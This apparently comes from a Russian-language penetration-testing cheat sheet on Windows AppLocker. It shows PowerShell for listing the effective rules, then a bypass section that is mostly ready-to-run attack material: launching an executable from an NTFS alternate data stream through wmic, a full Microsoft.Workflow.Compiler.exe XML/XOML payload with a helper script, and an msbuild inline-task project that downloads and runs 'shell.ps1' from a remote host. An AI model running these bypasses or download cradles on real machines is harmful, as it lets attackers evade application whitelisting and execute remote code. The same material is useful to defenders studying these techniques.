Applocker
Applocker - функция управления приложениями и политиками по запуску программного обеспечения в Windows.
Позволяет управлять:
- Исполняемые файлы
- EXE
- COM
- Скрипты
- JS
- PS1
- VBS
- CMD
- BAT
- Установочные файлы
- MST
- MSI
- MSP
- Библиотеки
- DLL
- OCX
- Упакованные приложения
- APPX
Содержание
Общее
Получение политики (все юзеры)
1 Get-ApplockerPolicy -effective
Получение политики (все группы текущего пользователя)
1 $a = Get-ApplockerPolicy -effective
2
3 $u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value
4 $g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups)
5
6 Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){
7 $f = 0;
8 $v = $y.UserOrGroupSid.value;
9 Foreach ($z in $g){
10 if (($z.Value -eq $u) -or ($z.Value -eq $v)){
11 $f= 1;
12 };
13 };
14 if ($f -eq 1){
15 Write-Output $y.PathConditions;
16 Write-Output $y.Action;
17 }
18 }}
Однострочник
1 $a = Get-ApplockerPolicy -effective;$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value; $g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups);Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){$f = 0;$v = $y.UserOrGroupSid.value; Foreach ($z in $g){if (($z.Value -eq $u) -or ($z.Value -eq $v)){$f= 1;};};if ($f -eq 1){Write-Output $y.PathConditions;Write-Output $y.Action;};};};
Обход AppLocker
Альтернативный канал
Например, если политика разрешат запуск из C:\logs то следующей командой мы можем сохранить файл в альтернативный канал и запустить его:
1 type test.exe > C:\logs:test.exe
2 wmic process call create '"C:\logs:test.exe"'
Интерпретаторы
- python
- perl
- java
И так далее
Макросы ворда
Макросы ворда VBS позволяют тоже обойти AppLocker и запустить произвольный код.
Небезопасные политики
Требуется посмотреть список директорий, откуда можно запускать файлы, и проверить какие из директорий/файлов доступны для записи.
InstallUtil
См. amsi
Microsoft.Workflow.Compiler.exe
test.xml:
1 <?xml version="1.0" encoding="utf-8"?>
2 <CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
3 <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
4 <d2p1:string>test.xoml</d2p1:string>
5 </files>
6 <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
7 <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
8 <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
9 <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
10 <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
11 <evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
12 <generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
13 <generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
14 <includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
15 <linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
16 <mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
17 <outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
18 <tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
19 <treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
20 <warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
21 <win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
22 <d2p1:checkTypes>false</d2p1:checkTypes>
23 <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
24 <d2p1:compilerOptions i:nil="true" />
25 <d2p1:generateCCU>false</d2p1:generateCCU>
26 <d2p1:languageToUse>CSharp</d2p1:languageToUse>
27 <d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
28 <d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
29 <d2p1:mtInfo i:nil="true" />
30 <d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
31 </parameters>
32 </CompilerInput>
text.xoml:
1 <SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
2 <CodeActivity x:Name="codeActivity1" />
3 <x:Code><![CDATA[
4 public class Foo : SequentialWorkflowActivity {
5 public Foo() {
6 Console.WriteLine("FOOO!!!!");
7 }
8 }
9 ]]></x:Code>
10 </SequentialWorkflowActivity>
Microsoft.Workflow.Compiler.exe соберет XML-проет и запустит его:
1 C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml
Полный фрагмент кода для автоматизации запуска:
1 function New-CompilerInputXml {
2 <#
3 .SYNOPSIS
4 Creates a an XML file consisting of a serialized CompilerInput object.
5 .DESCRIPTION
6 New-CompilerInputXml creates an XML file consisting of compiler options. This file is required as the first argument for Microsoft.Workflow.Compiler.exe.
7 .PARAMETER XOMLPath
8 Specifies the path to the target XOML file. This can be a relative or absolute path. This path will be included in the resulting XML file that New-CompilerInputXml outputs.
9 .PARAMETER OutputPath
10 Specifies the path to which New-CompilerInputXml will save the serialized CompilerInput object.
11 .EXAMPLE
12 New-CompilerInputXml -XOMLPath C:\Test\foo.xoml -OutputPath test.xml
13 Outputs a serialized CompilerInput object to test.xml and specifies a full path to a XOML assembly reference.
14 .EXAMPLE
15 New-CompilerInputXml -XOMLPath foo.xoml -OutputPath test.txt
16 Outputs a serialized CompilerInput object to test.txt and specifies a XOML assembly reference using a relative path. Note that Microsoft.Workflow.Compiler.exe doesn't care about the extension supplied in the first argument.
17 .OUTPUTS
18 System.IO.FileInfo
19 Outputs a FileInfo object to serve as confirmation that the resulting serialized XML wil was created.
20 #>
21
22 [OutputType([System.IO.FileInfo])]
23 param (
24 [String]
25 [ValidateNotNullOrEmpty()]
26 $XOMLPath = 'test.xoml',
27
28 [Parameter(Mandatory = $True)]
29 [String]
30 [ValidateNotNullOrEmpty()]
31 $OutputPath
32 )
33
34 # This assembly won't be loaded by default. We need to load
35 # it in order to get access to the WorkflowCompilerParameters class.
36 Add-Type -AssemblyName 'System.Workflow.ComponentModel'
37
38 # This class contains the properties we need to specify for Microsoft.Workflow.Compiler.exe
39 $WFCompilerParams = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
40
41 # Necessary to get Microsoft.Workflow.Compiler.exe to call Assembly.Load(byte[])
42 $WFCompilerParams.GenerateInMemory = $True
43
44 # Full path to Microsoft.Workflow.Compiler.exe that we will load and access a non-public method from
45 $WorkflowCompilerPath = [Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() + 'Microsoft.Workflow.Compiler.exe'
46
47 # Load the assembly
48 $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath)
49
50 # This is the helper method that will serialize the CompilerInput object to disk
51 $SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')
52
53 $TempFile = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $WFCompilerParams, [String[]] @(,$OutputPath)))
54
55 Move-Item $TempFile $OutputPath -PassThru
56 }
Подробнее тут: https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb
msbuild.exe
test.csproj:
1 <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
2 <!-- This inline task executes c# code. -->
3 <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj -->
4 <Target Name="Hello">
5 <ClassExample />
6 </Target>
7 <UsingTask
8 TaskName="ClassExample"
9 TaskFactory="CodeTaskFactory"
10 AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
11 <Task>
12 <Reference Include="C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" />
13 <!-- Your PowerShell Path May vary -->
14 <Code Type="Class" Language="cs">
15 <![CDATA[
16 // all code by Casey Smith @SubTee
17 using System;
18 using System.Reflection;
19 using Microsoft.Build.Framework;
20 using Microsoft.Build.Utilities;
21
22 using System.Collections.ObjectModel;
23 using System.Management.Automation;
24 using System.Management.Automation.Runspaces;
25 using System.Text;
26
27 public class ClassExample : Task, ITask
28 {
29 public override bool Execute()
30 {
31 //Console.WriteLine("Hello From a Class.");
32 Console.WriteLine(powaShell.RunPSCommand());
33 return true;
34 }
35 }
36
37 //Based on Jared Atkinson's And Justin Warner's Work
38 public class powaShell
39 {
40 public static string RunPSCommand()
41 {
42
43 //Init stuff
44
45 InitialSessionState iss = InitialSessionState.CreateDefault();
46 iss.LanguageMode = PSLanguageMode.FullLanguage;
47 Runspace runspace = RunspaceFactory.CreateRunspace(iss);
48 runspace.Open();
49 RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
50 Pipeline pipeline = runspace.CreatePipeline();
51
52 //Interrogate LockDownPolicy
53 Console.WriteLine(System.Management.Automation.Security.SystemPolicy.GetSystemLockdownPolicy());
54
55
56
57 //Add commands
58 pipeline.Commands.AddScript("IEX (iwr 'http://10.10.10.10/shell.ps1')"); // powershell 3.0+ download cradle
59 //Prep PS for string output and invoke
60 pipeline.Commands.Add("Out-String");
61 Collection<PSObject> results = pipeline.Invoke();
62 runspace.Close();
63 //Convert records to strings
64 StringBuilder stringBuilder = new StringBuilder();
65 foreach (PSObject obj in results)
66 {
67 stringBuilder.Append(obj);
68 }
69 return stringBuilder.ToString().Trim();
70 }
71 }
72
73 ]]>
74 </Code>
75 </Task>
76 </UsingTask>
77 </Project>
Скрипт загружает powershell-файл по ссылке http://10.10.10.10/shell.ps1
Нужно только скомпилировать проект:
1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Users\Public\Downloads\powashell.csproj